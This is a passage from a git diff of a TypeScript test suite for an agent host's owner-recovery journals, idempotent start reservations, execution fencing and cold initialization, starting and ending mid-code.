key.startsWith(OWNER_RECOVERY_PREFIX), + ); + expect(journals).toHaveLength(2); + expect(journals[0]?.[1]).toMatchObject({ + version: 2, + phase: 'preparing', + agentId: 'writer', + threadId: 'acme_thread', + resourceId: RESOURCE_ID, + runId: 'acme_run', + owner: HUMAN_OWNER, + token: args?.[4], + threaded, + bindingPreexisting: scheduled && threaded, + runRecord: { + version: 2, + agentId: 'writer', + principal, + originEntryPath: entryPath, + }, + }); + expect(journals[1]?.[1]).toMatchObject({ + phase: 'prepared-unfenced', + execution: { tablePrefix: null, startToken: 'test-generation' }, + }); expect(writes).toContainEqual([ TEST_RUN_RECORD_KEY, { version: 2, agentId: 'writer', principal, originEntryPath: entryPath }, @@ -1246,9 +1453,9 @@ describe('createThreadAgentHost owner recovery', () => { const recover = vi.spyOn(scope.init.runtime, 'recoverStartAttempt'); const settle = vi.spyOn(resourceAccess, 'settleReservation'); - await expect( - host.recoverOwnership(scope.init.runtime, scope.threadId), - ).rejects.toThrow('stored agent owner recovery is malformed'); + await expect(host.recoverOwnership(scope)).rejects.toThrow( + 'stored agent owner recovery is malformed', + ); expect(recover).not.toHaveBeenCalled(); expect(settle).not.toHaveBeenCalled(); @@ -1267,7 +1474,9 @@ describe('createThreadAgentHost owner recovery', () => { const recover = vi.spyOn(scope.init.runtime, 'recoverStartAttempt'); const settle = vi.spyOn(resourceAccess, 'settleReservation'); - await host.recoverOwnership(scope.init.runtime, scope.threadId); + await expect(host.recoverOwnership(scope)).rejects.toThrow( + 'agent owner recovery changed', + ); expect(recover).not.toHaveBeenCalled(); expect(settle).not.toHaveBeenCalled(); @@ -1277,7 +1486,8 @@ describe('createThreadAgentHost owner recovery', () => { it('rolls back a pre-snapshot attempt and its attempt-created metadata', async () => { const { host, scope, state, resources, alarmAt } = harness(); - const recovery = ownerRecovery('acme_run'); + const recovery = ownerRecovery('acme_run', { phase: 'preparing' }); + delete recovery.execution; seedRecoveryState(state, 'acme_run', recovery); await resources.reserveAll( [ @@ -1289,7 +1499,7 @@ describe('createThreadAgentHost owner recovery', () => { 'token-acme_run', ); - await host.recoverOwnership(scope.init.runtime, scope.threadId); + await host.recoverOwnership(scope); expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); expect(state.has(TEST_RUN_RECORD_KEY)).toBe(false); @@ -1307,7 +1517,9 @@ describe('createThreadAgentHost owner recovery', () => { await resources.claim('resource', RESOURCE_ID, owner); const recovery = ownerRecovery('acme_run', { bindingPreexisting: true, + phase: 'preparing', }); + delete recovery.execution; seedRecoveryState(state, 'acme_run', recovery); await resources.reserveAll( [ @@ -1319,7 +1531,7 @@ describe('createThreadAgentHost owner recovery', () => { 'token-acme_run', ); - await host.recoverOwnership(scope.init.runtime, scope.threadId); + await host.recoverOwnership(scope); expect(state.has(THREAD_BINDING_KEY)).toBe(true); expect(state.has(TEST_RUN_RECORD_KEY)).toBe(false); @@ -1345,7 +1557,7 @@ describe('createThreadAgentHost owner recovery', () => { 'token-acme_run', ); - await host.recoverOwnership(scope.init.runtime, scope.threadId); + await host.recoverOwnership(scope); expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); expect(state.has(TEST_RUN_RECORD_KEY)).toBe(true); @@ -1384,9 +1596,9 @@ describe('createThreadAgentHost owner recovery', () => { 'token-acme_run', ); - await expect( - host.recoverOwnership(scope.init.runtime, scope.threadId), - ).rejects.toBeInstanceOf(RunStateUnreadableError); + await expect(host.recoverOwnership(scope)).rejects.toBeInstanceOf( + RunStateUnreadableError, + ); // #then — fail closed: an unreadable read is not evidence the attempt was // abandoned, so nothing is deleted, nothing is settled, and the journal @@ -1399,7 +1611,9 @@ describe('createThreadAgentHost owner recovery', () => { }); it('keeps an unthreaded nonterminal journal armed, then releases ephemeral claims at terminal state', async () => { - const { host, scope, state, resources, alarmAt, setSummary } = harness(); + const { host, scope, state, resources, alarmAt, setSummary, setSnapshot } = + harness(); + setSnapshot({ memory: false }); const owner = { kind: 'human' as const, id: 'operator-1' }; const recovery = ownerRecovery('acme_run', { threaded: false }); seedRecoveryState(state, 'acme_run', recovery, false); @@ -1414,7 +1628,7 @@ describe('createThreadAgentHost owner recovery', () => { ); setSummary({ runId: 'acme_run', status: 'suspended' }); - await host.recoverOwnership(scope.init.runtime, scope.threadId); + await host.recoverOwnership(scope); expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(true); expect(alarmAt()).toBeDefined(); @@ -1422,7 +1636,7 @@ describe('createThreadAgentHost owner recovery', () => { expect(await resources.owner('resource', RESOURCE_ID)).toEqual(owner); setSummary({ runId: 'acme_run', status: 'success' }); - await host.recoverOwnership(scope.init.runtime, scope.threadId); + await host.recoverOwnership(scope); expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); expect(state.has(TEST_RUN_RECORD_KEY)).toBe(false); @@ -1467,14 +1681,14 @@ describe('createThreadAgentHost owner recovery', () => { entryPath: 'http.start', }), ).resolves.toMatchObject({ runId: 'acme_run' }); - expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(true); + expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); expect(alarmAt()).toBeDefined(); expect(await committed.owner('run', 'acme_run')).toEqual({ kind: 'human', id: 'operator-1', }); - await host.recoverOwnership(scope.init.runtime, scope.threadId); + await host.recoverOwnership(scope); expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); expect(alarmAt()).toBeUndefined(); @@ -1524,7 +1738,7 @@ describe('createThreadAgentHost owner recovery', () => { if (key.startsWith(OWNER_RECOVERY_PREFIX)) journalWritten(); }); - const recovery = host.recoverOwnership(scope.init.runtime, scope.threadId); + const recovery = host.recoverOwnership(scope); await finalStarted; const start = host.start(scope, { agentId: 'writer', @@ -1587,6 +1801,7 @@ describe('createThreadAgentHost', () => { discardScheduleDispatch: (scheduleId, dispatchId, runId) => schedules.discardAgentScheduleDispatch(scheduleId, dispatchId, runId), }); + fixture.setSummary(summary); fixture.state.set(TEST_RUN_RECORD_KEY, { version: 2, agentId: 'writer', @@ -1679,6 +1894,7 @@ describe('createThreadAgentHost', () => { }, discardScheduleDispatch, }); + fixture.setSummary(summary); fixture.state.set(TEST_RUN_RECORD_KEY, { version: 2, agentId: 'writer', @@ -1764,17 +1980,11 @@ describe('createThreadAgentHost', () => { fixture.scope, ), ).rejects.toThrow('cleanup marker response lost'); - expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); await expect( fixture.resources.owner('run', 'acme_run'), ).resolves.toBeUndefined(); - fixture.state.set(TEST_RUN_RECORD_KEY, { - version: 2, - agentId: 'writer', - principal: fixture.scope.principal, - originEntryPath: 'http.start', - }); const replay = await fixture.host.route( new Request(`${terminateUrl}&replay=1`, { method: 'POST' }), fixture.scope, @@ -1813,6 +2023,7 @@ describe('createThreadAgentHost', () => { completeTerminalCleanup, }, }); + fixture.setSummary(summary); seedRecoveryState( fixture.state, 'acme_run', @@ -1834,8 +2045,7 @@ describe('createThreadAgentHost', () => { ).rejects.toThrow('stored agent owner recovery is malformed'); expect(settleReservation).not.toHaveBeenCalled(); - expect(release).toHaveBeenCalledOnce(); - expect(release).toHaveBeenCalledWith('run', 'acme_run', HUMAN_OWNER); + expect(release).not.toHaveBeenCalled(); await expect( resourceAccess.owner('thread', 'acme_thread'), ).resolves.toEqual(HUMAN_OWNER); @@ -2034,7 +2244,7 @@ describe('createThreadAgentHost', () => { principal: { kind: 'human', id: 'operator-2', role: 'operator' }, }; await expect(host.start(secondScope, input)).rejects.toMatchObject({ - status: 409, + status: 503, }); expect(state.get('flowsafe:agent-run:v1:acme_run')).toMatchObject({ principal: { id: 'operator-1' }, @@ -2068,9 +2278,8 @@ describe('createThreadAgentHost', () => { results.filter((result) => result.status === 'fulfilled'), ).toHaveLength(1); const rejected = results.find((result) => result.status === 'rejected'); - expect(rejected).toMatchObject({ - reason: { status: 409, message: 'thread is bound to another agent' }, - }); + expect(mocked.stream).toHaveBeenCalledOnce(); + expect(rejected).toMatchObject({ reason: { status: 409 } }); const binding = structuredClone( state.get('flowsafe:agent-thread-binding:v1'), ) as { agentId: string }; @@ -2273,7 +2482,7 @@ describe('createThreadAgentHost', () => { expect(approvalScopes).toHaveLength(1); }); - it('removes run metadata when start fails and authoritative state is absent', async () => { + it('retains prepared-unfenced metadata when failed start has no durable outcome', async () => { const { host, scope, state, setSummary } = harness(); setSummary(null); mocked.stream.mockRejectedValue(new Error('model unavailable')); @@ -2287,7 +2496,7 @@ describe('createThreadAgentHost', () => { entryPath: 'http.start', }), ).rejects.toThrow('model unavailable'); - expect(state.has('flowsafe:agent-run:v1:acme_run')).toBe(false); + expect(state.has('flowsafe:agent-run:v1:acme_run')).toBe(true); }); it('keeps run metadata and names the failure when a failed start cannot read authoritative state', async () => { @@ -2296,7 +2505,7 @@ describe('createThreadAgentHost', () => { // it could not reach. const { host, scope, state, alarmAt } = harness(['writer'], { runtime: { - recoverStartAttempt: vi.fn(async () => { + authoritativeStartState: vi.fn(async () => { throw new RunStateUnreadableError('durable-agentic-loop', 'acme_run'); }), }, @@ -2329,9 +2538,7 @@ describe('createThreadAgentHost', () => { // #then — and the failure is named rather than swallowed, because it is // the reason the metadata above survives and a wake is left to retry it. - expect(logged).toContain( - 'interrupted start could not read authoritative state', - ); + expect(logged).toContain('agent owner recovery failed'); expect(state.has('flowsafe:agent-run:v1:acme_run')).toBe(true); expect(alarmAt()).toBeDefined(); }); @@ -2368,7 +2575,7 @@ describe('createThreadAgentHost', () => { target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, }, agentStart: { threaded: false }, - onPreparedStartIdentity: undefined, + onPreparedStartIdentity: expect.any(Function), runOwnerGuard: { owner: HUMAN_OWNER, reservationToken: expect.any(String), @@ -2690,7 +2897,7 @@ describe('createThreadAgentHost', () => { target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, }, agentStart: { threaded: true }, - onPreparedStartIdentity: undefined, + onPreparedStartIdentity: expect.any(Function), runOwnerGuard: { owner: { kind: 'service', id: 'webhook-dispatcher' }, reservationToken: expect.any(String), @@ -2935,7 +3142,7 @@ describe('createThreadAgentHost', () => { target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, }, agentStart: { threaded: true }, - onPreparedStartIdentity: undefined, + onPreparedStartIdentity: expect.any(Function), runOwnerGuard: { owner: HUMAN_OWNER, reservationToken: expect.any(String), @@ -4149,3 +4356,3012 @@ describe('createThreadAgentHost automated entry', () => { ); }); }); + +describe('createThreadAgentHost saved owner journal presence', () => { + it.each( + ['start', 'schedule status', 'dispatch status'].flatMap((entry) => + [null, false, 0, ''].map((journal) => ({ entry, journal })), + ), + )('retains a malformed journal before $entry ($journal)', async ({ + entry, + journal, + }) => { + const fixture = harness(); + if (entry !== 'start') { + fixture.setSummary({ runId: 'acme_run', status: 'suspended' }); + fixture.state.set(THREAD_BINDING_KEY, { + version: 1, + agentId: 'writer', + resourceId: RESOURCE_ID, + }); + fixture.state.set(TEST_RUN_RECORD_KEY, { + version: 2, + agentId: 'writer', + principal: fixture.scope.principal, + originEntryPath: 'http.start', + }); + } + fixture.state.set(TEST_OWNER_RECOVERY_KEY, journal); + const before = structuredClone(fixture.state); + const reserve = vi.spyOn(fixture.resourceAccess, 'reserveAll'); + const observation = vi.spyOn( + fixture.scope.init.runtime, + 'authoritativeStartState', + ); + const operation = + entry === 'start' + ? fixture.host.start(fixture.scope, C_START_INPUT) + : entry === 'schedule status' + ? fixture.host.scheduleDispatchStatus(fixture.scope, { + agentId: 'writer', + resourceId: RESOURCE_ID, + runId: 'acme_run', + }) + : fixture.host.route( + new Request( + `https://thread/_flowsafe/agent-host/runs/writer/acme_run?resourceId=${RESOURCE_ID}&dispatch=1`, + ), + fixture.scope, + ); + const outcome = await operation.catch((error: unknown) => error); + expect(fixture.state).toEqual(before); + expect(reserve).not.toHaveBeenCalled(); + expect(mocked.stream).not.toHaveBeenCalled(); + expect(observation).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf(Error); + }); + + it('starts when the owner journal is absent', async () => { + const fixture = harness(); + await expect( + fixture.host.start(fixture.scope, C_START_INPUT), + ).resolves.toMatchObject({ summary: { status: 'success' } }); + expect(mocked.stream).toHaveBeenCalledOnce(); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + }); +}); + +describe('FS8 D3 host shares cold wrapper initialization', () => { + async function coldInitializationFixture() { + const core = await vi.importActual( + '@mastra/core/mastra', + ); + const breakwater = await vi.importActual< + typeof import('@proofoftech/breakwater') + >('@proofoftech/breakwater'); + mocked.actualFactory = true; + mocked.actualAgent = breakwater.createGuardedAgent({ + id: 'writer', + name: 'Writer', + instructions: 'Unused cold initialization agent.', + model: 'openai/gpt-4o-mini', + allowedRoles: ['operator'], + policies: [], + audit: new breakwater.AuditLogger(), + maxSteps: 1, + toolChoice: 'auto', + }); + mocked.mastra.mockImplementation( + (configuration) => new core.Mastra(configuration), + ); + const sql = openSqlite() as ReturnType & { + close(): void; + }; + onTestFinished(() => sql.close()); + const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase & + ResourceOwnershipDatabase; + const storage = createD1Storage({ binding }); + await storage.init(); + const fence = new ExecutionFenceStore(binding); + await fence.seed('draining'); + const { StartIdempotencyStore, beginIdempotentStart } = await import( + '../do-runner/start-idempotency.js' + ); + const reservations = new StartIdempotencyStore(binding); + const provider = vi.fn(() => { + throw new Error('unexpected request-context provider entry'); + }); + const app = init( + { storage }, + { + executionFence: fence, + startIdempotency: reservations, + requestContextForRun: provider, + }, + ); + const resources = new D1ResourceOwnershipStore(binding); + const fixture = harness(['writer'], { + init: app, + storage, + resourceAccess: resources, + }); + const catalogGate = cDeferred(); + const buildModules = vi.fn(async () => { + await catalogGate.promise; + return [ + { + meta: { + id: 'writer', + title: 'Writer', + description: 'Writes records', + allowedRoles: ['operator'] as const, + }, + agent: guarded(), + }, + ]; + }); + const hostStorage = vi.fn(() => storage); + const createHost = () => + createThreadAgentHost({ + buildModules, + storage: hostStorage, + stateStorage: () => fixture.stateStorage, + resourceAccess: () => resources, + approvalService: () => + ({ + list: async () => [], + createAsPrincipal: async () => { + throw new Error('unexpected approval creation'); + }, + }) as unknown as ApprovalService, + }); + const host = createHost(); + const replay = (scope = fixture.scope) => + host.route( + new Request( + `https://thread/_flowsafe/agent-host/runs/writer/acme_run?resourceId=${RESOURCE_ID}&replay=1`, + ), + scope, + ); + const liveness = (agentId = 'writer', scope = fixture.scope) => + host.route( + new Request( + `https://thread/_flowsafe/agent-host/runs/${agentId}/acme_run/start-liveness`, + ), + scope, + ); + return { + ...fixture, + host, + app, + createHost, + fence, + resources, + storage, + reservations, + beginIdempotentStart, + provider, + catalogGate, + buildModules, + hostStorage, + replay, + liveness, + registerAgent: vi.spyOn(app.runtime, 'registerAgent'), + start: vi.spyOn(app.runtime, 'start'), + }; + } + + it('queries the addressed cached wrapper for liveness without reading storage', async () => { + const fixture = harness(['writer', 'reviewer']); + fixture.state.set(THREAD_BINDING_KEY, { + version: 1, + agentId: 'writer', + resourceId: RESOURCE_ID, + }); + await fixture.host.resolveBoundAgent(fixture.scope, { + agentId: 'writer', + entryPath: 'http.start', + }); + const get = vi.spyOn(fixture.stateStorage, 'get'); + const list = vi.spyOn(fixture.stateStorage, 'list'); + mocked.isRunLive.mockImplementation((agentId) => agentId === 'writer'); + for (const agentId of ['writer', 'reviewer']) { + const response = await fixture.host.route( + new Request( + `https://thread/_flowsafe/agent-host/runs/${agentId}/acme_live/start-liveness`, + ), + fixture.scope, + ); + expect(await response?.json()).toEqual({ live: agentId === 'writer' }); + } + expect(mocked.isRunLive.mock.calls).toEqual([ + ['writer', 'acme_live'], + ['reviewer', 'acme_live'], + ]); + expect(get).not.toHaveBeenCalled(); + expect(list).not.toHaveBeenCalled(); + expect(fixture.moduleScopes).toHaveLength(1); + expect(fixture.storageScopes).toHaveLength(1); + }); + + it('answers cold liveness without waiting for a held catalog or reading storage', async () => { + const fixture = await coldInitializationFixture(); + const get = vi.spyOn(fixture.stateStorage, 'get'); + const list = vi.spyOn(fixture.stateStorage, 'list'); + const before = new Map(fixture.state); + const cold = await fixture.liveness(); + expect(await cold?.json()).toEqual({ live: false }); + expect(fixture.buildModules).not.toHaveBeenCalled(); + const replay = fixture.replay(); + try { + const response = await Promise.race([ + fixture.liveness(), + new Promise((resolve) => setTimeout(resolve, 0)), + ]); + expect(fixture.hostStorage).not.toHaveBeenCalled(); + expect(fixture.registerAgent).not.toHaveBeenCalled(); + expect(get).not.toHaveBeenCalled(); + expect(list).not.toHaveBeenCalled(); + expect(response).toBeInstanceOf(Response); + expect(await response?.json()).toEqual({ live: false }); + await expect( + fixture.liveness('writer', { + ...fixture.scope, + init: { ...fixture.app }, + }), + ).rejects.toThrow( + 'thread agent host cannot be shared across DO instances', + ); + expect(fixture.state).toEqual(before); + } finally { + fixture.catalogGate.resolve(); + await replay; + } + }); + + it.each([ + 'private replay', + 'bound-agent lookup', + ])('shares a held catalog between a private replay and %s', async (consumer) => { + const fixture = await coldInitializationFixture(); + if (consumer === 'bound-agent lookup') + fixture.state.set(THREAD_BINDING_KEY, { + version: 1, + agentId: 'writer', + resourceId: RESOURCE_ID, + }); + const before = new Map(fixture.state); + const replay = fixture.replay(); + const concurrent = + consumer === 'private replay' + ? fixture.replay() + : fixture.host.resolveBoundAgent(fixture.scope, { + agentId: 'writer', + entryPath: 'http.start', + }); + const outcomes = Promise.allSettled([replay, concurrent]); + await new Promise((resolve) => setTimeout(resolve, 0)); + expect(fixture.buildModules).toHaveBeenCalledOnce(); + expect(fixture.hostStorage).not.toHaveBeenCalled(); + expect(fixture.app.runtime.workflowIds()).toEqual([]); + fixture.catalogGate.resolve(); + const [first, second] = await outcomes; + expect(fixture.hostStorage).toHaveBeenCalledOnce(); + expect(fixture.registerAgent).toHaveBeenCalledOnce(); + expect(first).toMatchObject({ + status: 'fulfilled', + value: { status: 404 }, + }); + expect(second).toMatchObject({ + status: 'fulfilled', + value: + consumer === 'private replay' + ? { status: 404 } + : { agentId: 'writer', resourceId: RESOURCE_ID }, + }); + expect(fixture.app.runtime.workflowIds()).toEqual(['durable-agentic-loop']); + expect(fixture.state).toEqual(before); + expect(fixture.start).not.toHaveBeenCalled(); + expect(fixture.provider).not.toHaveBeenCalled(); + }); + + it.each([ + 'cached', + 'reconstructed', + ] as const)('releases and reclaims a keyed start overlapping a cold private replay (%s host)', async (hostKind) => { + const fixture = await coldInitializationFixture(); + const { globalRunRegistry } = await vi.importActual< + typeof import('@mastra/core/agent/durable') + >('@mastra/core/agent/durable'); + const request = { + key: 'cold-key', + owner: HUMAN_OWNER, + targetKind: 'agent' as const, + targetId: 'writer', + threadId: fixture.scope.threadId, + mintRunId: () => 'acme_run', + }; + let retryHost = fixture.host; + let retryScope = fixture.scope; + let retryStart = fixture.start; + let retryRegisterAgent = fixture.registerAgent; + const surface = { + persisted: async () => undefined, + live: async () => { + const response = await retryHost.route( + new Request( + 'https://thread/_flowsafe/agent-host/runs/writer/acme_run/start-liveness', + ), + retryScope, + ); + expect(response?.status).toBe(200); + const result = (await response?.json()) as { live: boolean }; + expect(typeof result.live).toBe('boolean'); + return result.live; + }, + }; + const first = await fixture.beginIdempotentStart( + fixture.reservations, + request, + surface, + 'none', + ); + expect(first.kind).toBe('start'); + expect(await fixture.reservations.readForAdmission(request.key)).toEqual( + first.reservation, + ); + expect(first.reservation).toMatchObject({ + state: 'started', + binding: { kind: 'unbound' }, + }); + const writes = vi.spyOn(fixture.stateStorage, 'put'); + const replay = fixture.replay(); + const started = fixture.host.start(fixture.scope, { + ...C_START_INPUT, + idempotencyKey: request.key, + startReservation: first.reservation, + }); + const outcomes = Promise.allSettled([replay, started]); + await new Promise((resolve) => setTimeout(resolve, 0)); + expect(fixture.buildModules).toHaveBeenCalledOnce(); + expect(fixture.hostStorage).not.toHaveBeenCalled(); + expect(fixture.state.size).toBe(0); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout'] }); + onTestFinished(() => { + vi.useRealTimers(); + }); + fixture.catalogGate.resolve(); + const [read, refused] = await outcomes; + expect( + await fixture.reservations.readForAdmission(request.key), + ).toMatchObject({ + state: 'reserved', + binding: { kind: 'unbound' }, + }); + expect(fixture.state.size).toBe(0); + expect(writes).toHaveBeenCalledWith( + TEST_OWNER_RECOVERY_KEY, + expect.objectContaining({ + phase: 'preparing', + startReservation: first.reservation, + }), + ); + expect(read).toMatchObject({ status: 'fulfilled', value: { status: 404 } }); + expect(refused).toMatchObject({ + status: 'rejected', + reason: { + status: 503, + reason: { code: 'EXECUTION_FENCED', state: 'draining' }, + }, + }); + expect(fixture.hostStorage).toHaveBeenCalledOnce(); + expect(fixture.registerAgent).toHaveBeenCalledOnce(); + expect(fixture.start).toHaveBeenCalledOnce(); + const released = await fixture.reservations.readForAdmission(request.key); + if (hostKind === 'reconstructed') { + const app = init( + { storage: fixture.storage }, + { + executionFence: fixture.fence, + startIdempotency: fixture.reservations, + requestContextForRun: fixture.provider, + }, + ); + retryHost = fixture.createHost(); + retryScope = { ...fixture.scope, init: app }; + retryStart = vi.spyOn(app.runtime, 'start'); + retryRegisterAgent = vi.spyOn(app.runtime, 'registerAgent'); + } + const claim = vi.spyOn(fixture.reservations, 'claimReservation'); + const writesBeforeRetry = writes.mock.calls.length; + expect(globalRunRegistry.has('acme_run')).toBe(true); + const immediateRetry = await fixture + .beginIdempotentStart(fixture.reservations, request, surface, 'none') + .catch((error: unknown) => error); + expect(await fixture.reservations.readForAdmission(request.key)).toEqual( + released, + ); + expect(claim).not.toHaveBeenCalled(); + expect(writes).toHaveBeenCalledTimes(writesBeforeRetry); + expect(fixture.state.size).toBe(0); + expect(fixture.start).toHaveBeenCalledOnce(); + expect(fixture.hostStorage).toHaveBeenCalledOnce(); + expect(fixture.buildModules).toHaveBeenCalledOnce(); + if (hostKind === 'reconstructed') { + expect(retryStart).not.toHaveBeenCalled(); + expect(retryRegisterAgent).not.toHaveBeenCalled(); + } + expect(immediateRetry).toMatchObject({ + status: 503, + reason: { code: 'IDEMPOTENT_START_PENDING' }, + }); + await vi.advanceTimersByTimeAsync(30_000); + expect(globalRunRegistry.has('acme_run')).toBe(false); + const retry = await fixture.beginIdempotentStart( + fixture.reservations, + request, + surface, + 'none', + ); + expect(retry.kind).toBe('start'); + expect(claim).toHaveBeenCalledOnce(); + expect(retry.reservation.runId).toBe(first.reservation.runId); + expect(retry.reservation.updatedAt).toBeGreaterThan( + first.reservation.updatedAt, + ); + expect(released?.updatedAt).toBeLessThan(retry.reservation.updatedAt); + await expect( + retryHost.start(retryScope, { + ...C_START_INPUT, + idempotencyKey: request.key, + startReservation: retry.reservation, + }), + ).rejects.toMatchObject({ + status: 503, + reason: { code: 'EXECUTION_FENCED', state: 'draining' }, + }); + expect(retryStart).toHaveBeenCalledTimes( + hostKind === 'reconstructed' ? 1 : 2, + ); + expect(fixture.hostStorage).toHaveBeenCalledTimes( + hostKind === 'reconstructed' ? 2 : 1, + ); + expect(fixture.registerAgent).toHaveBeenCalledOnce(); + expect(retryRegisterAgent).toHaveBeenCalledOnce(); + expect(fixture.state.size).toBe(0); + expect( + await fixture.reservations.readForAdmission(request.key), + ).toMatchObject({ + state: 'reserved', + binding: { kind: 'unbound' }, + }); + expect(await fixture.resources.owner('run', 'acme_run')).toBeUndefined(); + expect( + await fixture.resources.owner('thread', fixture.scope.threadId), + ).toBeUndefined(); + expect( + await fixture.resources.owner('resource', RESOURCE_ID), + ).toBeUndefined(); + const workflows = await fixture.storage.getStore('workflows'); + expect( + await workflows?.loadWorkflowSnapshot({ + workflowName: 'durable-agentic-loop', + runId: 'acme_run', + }), + ).toBeNull(); + expect(fixture.provider).not.toHaveBeenCalled(); + await vi.advanceTimersByTimeAsync(30_000); + expect(globalRunRegistry.has('acme_run')).toBe(false); + }); + + it('retries a failed catalog and retains the instance boundary', async () => { + const fixture = await coldInitializationFixture(); + const failure = new Error('catalog unavailable'); + fixture.buildModules.mockRejectedValueOnce(failure); + await expect(fixture.replay()).rejects.toBe(failure); + expect(fixture.hostStorage).not.toHaveBeenCalled(); + expect(fixture.registerAgent).not.toHaveBeenCalled(); + const outcomes = Promise.allSettled([fixture.replay(), fixture.replay()]); + await new Promise((resolve) => setTimeout(resolve, 0)); + expect(fixture.buildModules).toHaveBeenCalledTimes(2); + fixture.catalogGate.resolve(); + const results = await outcomes; + expect(fixture.hostStorage).toHaveBeenCalledOnce(); + expect(fixture.registerAgent).toHaveBeenCalledOnce(); + expect(results).toMatchObject([ + { status: 'fulfilled', value: { status: 404 } }, + { status: 'fulfilled', value: { status: 404 } }, + ]); + await expect( + fixture.replay({ ...fixture.scope, init: { ...fixture.app } }), + ).rejects.toThrow('thread agent host cannot be shared across DO instances'); + expect(fixture.buildModules).toHaveBeenCalledTimes(2); + expect(fixture.hostStorage).toHaveBeenCalledOnce(); + expect(fixture.registerAgent).toHaveBeenCalledOnce(); + expect(fixture.state.size).toBe(0); + expect(fixture.start).not.toHaveBeenCalled(); + expect(fixture.provider).not.toHaveBeenCalled(); + }); +}); + +describe('FS8 D3 host activation cold agent recovery', () => { + async function coldFixture( + threaded: boolean, + mode: 'fenced' | 'unfenced', + status: 'pending' | 'success' | 'suspended' = 'success', + keyed = false, + ) { + const core = await vi.importActual( + '@mastra/core/mastra', + ); + const breakwater = await vi.importActual< + typeof import('@proofoftech/breakwater') + >('@proofoftech/breakwater'); + mocked.actualFactory = true; + mocked.actualAgent = breakwater.createGuardedAgent({ + id: 'writer', + name: 'Writer', + instructions: 'Unused cold recovery agent.', + model: 'openai/gpt-4o-mini', + allowedRoles: ['operator'], + policies: [], + audit: new breakwater.AuditLogger(), + maxSteps: 1, + toolChoice: 'auto', + }); + mocked.mastra.mockImplementation( + (configuration) => new core.Mastra(configuration), + ); + const sql = openSqlite(); + const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase & + ResourceOwnershipDatabase; + const storage = createD1Storage({ binding, tablePrefix: 'cold_' }); + await storage.init(); + const fence = new ExecutionFenceStore(binding); + await fence.seed('open'); + const { StartIdempotencyStore } = await import( + '../do-runner/start-idempotency.js' + ); + const reservations = keyed ? new StartIdempotencyStore(binding) : undefined; + const app = init( + { storage }, + { + executionFence: mode === 'fenced' ? fence : 'none', + startIdempotency: reservations ?? 'none', + }, + ); + const resources = new D1ResourceOwnershipStore( + binding as ResourceOwnershipDatabase, + ); + const fixture = harness(['writer'], { + init: app, + storage, + resourceAccess: resources, + }); + const token = 'cold-host-attempt'; + const execution = { + tablePrefix: 'cold_', + workflowId: 'durable-agentic-loop', + runId: 'acme_run', + startToken: 'cold-generation', + }; + let claim: + | import('../do-runner/start-reservation-contract.js').StartReservationReading + | undefined; + if (reservations) { + const reserved = await reservations.reserve({ + key: 'cold-key', + owner: HUMAN_OWNER, + targetKind: 'agent', + targetId: 'writer', + threadId: 'acme_thread', + mintRunId: () => 'acme_run', + }); + claim = await reservations.claimReservation(reserved.reservation); + if (!claim) throw new Error('missing cold claim'); + await reservations.bindPreparedStart(claim, { + ...execution, + owner: HUMAN_OWNER, + target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, + }); + } + const provenance = { + version: 2, + startToken: execution.startToken, + attemptToken: status === 'pending' ? token : 'resumed-leg', + requestedBy: 'operator-1', + requestedByKind: 'human', + resumeCounts: [], + startIdentity: { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, + }, + agentStart: { threaded }, + ...(status === 'pending' ? { initialAdmission: true } : {}), + }; + const workflows = (await storage.getStore( + 'workflows', + )) as FencedWorkflowsStorageD1; + await workflows.persistWorkflowSnapshot({ + workflowName: execution.workflowId, + runId: execution.runId, + snapshot: { + runId: execution.runId, + status, + value: {}, + context: {}, + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 123, + requestContext: { 'flowsafe.runProvenance': provenance }, + }, + }); + const recovery = ownerRecovery('acme_run', { + phase: mode === 'fenced' ? 'prepared' : 'prepared-unfenced', + execution, + token, + threaded, + ...(claim ? { startReservation: claim } : {}), + }); + seedRecoveryState(fixture.state, 'acme_run', recovery, threaded); + await resources.reserveAll( + [ + { kind: 'run', resourceId: 'acme_run' }, + { kind: 'thread', resourceId: 'acme_thread' }, + { kind: 'resource', resourceId: RESOURCE_ID }, + ], + HUMAN_OWNER, + token, + ); + const nativeCapability = workflows[FENCED_WORKFLOW_STORAGE]; + if (!nativeCapability) throw new Error('missing cold capability'); + const rawReads = vi.fn( + nativeCapability.readSnapshot.bind(nativeCapability), + ); + const terminalization = vi.fn( + nativeCapability.terminalizeInitialAdmission.bind(nativeCapability), + ); + Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, { + value: { + ...nativeCapability, + readSnapshot: rawReads, + terminalizeInitialAdmission: terminalization, + }, + configurable: true, + }); + return { + ...fixture, + sql, + reservations, + claim, + app, + workflows, + execution, + recovery, + resources, + nativeCapability, + rawReads, + terminalization, + }; + } + + it.each([ + true, + false, + ])('initializes a fresh actual wrapper before fenced pending recovery (threaded=%s)', async (threaded) => { + const fixture = await coldFixture(threaded, 'fenced', 'pending'); + expect(fixture.app.runtime.workflowIds()).toEqual([]); + const before = await fixture.workflows.loadWorkflowSnapshot({ + workflowName: fixture.execution.workflowId, + runId: fixture.execution.runId, + }); + expect(before?.status).toBe('pending'); + const start = vi.spyOn(fixture.app.runtime, 'start'); + await expect( + fixture.host.recoverOwnership(fixture.scope), + ).resolves.toBeUndefined(); + const after = await 